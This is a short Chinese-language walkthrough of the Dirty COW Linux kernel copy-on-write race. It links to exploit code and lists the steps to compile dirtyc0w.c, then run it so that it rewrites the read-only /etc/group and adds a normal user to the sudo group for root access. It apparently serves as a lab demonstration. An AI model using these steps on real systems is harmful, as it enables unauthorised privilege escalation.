简要分析
该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,
导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。具体分析请查看官方分析。
 
 
测试工具

官方放出的EXP:链接
提权为root权限的EXP一:链接
提权为root权限的EXP二:链接

漏洞利用
第一步:
  sudo adduser test1添加新用户
 
第二步:
  gcc -pthread dirtyc0w.c -o dirty -lcrypt 利用gcc编译dirtycOw.c文件
 
第三步:
  切换到test1,查看test1用户信息,可以看到test1用户没有sudo权限,执行sudo su命令提示不在该分组,无法执行sudo命令
 
第四步:
  使用命令./dirty /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test1/’ /etc/group)”执行exp修改/etc/group文件中的sudo分组成员,将test1加入到其中
 
第五步:
  先切换为test用户后,然后切换回来就可以看到test1用户已经拥有了sudo权限,执行sudo su ,输入test1用户的密码后就可以切换到root权限,提权成功
 
05-13 04:38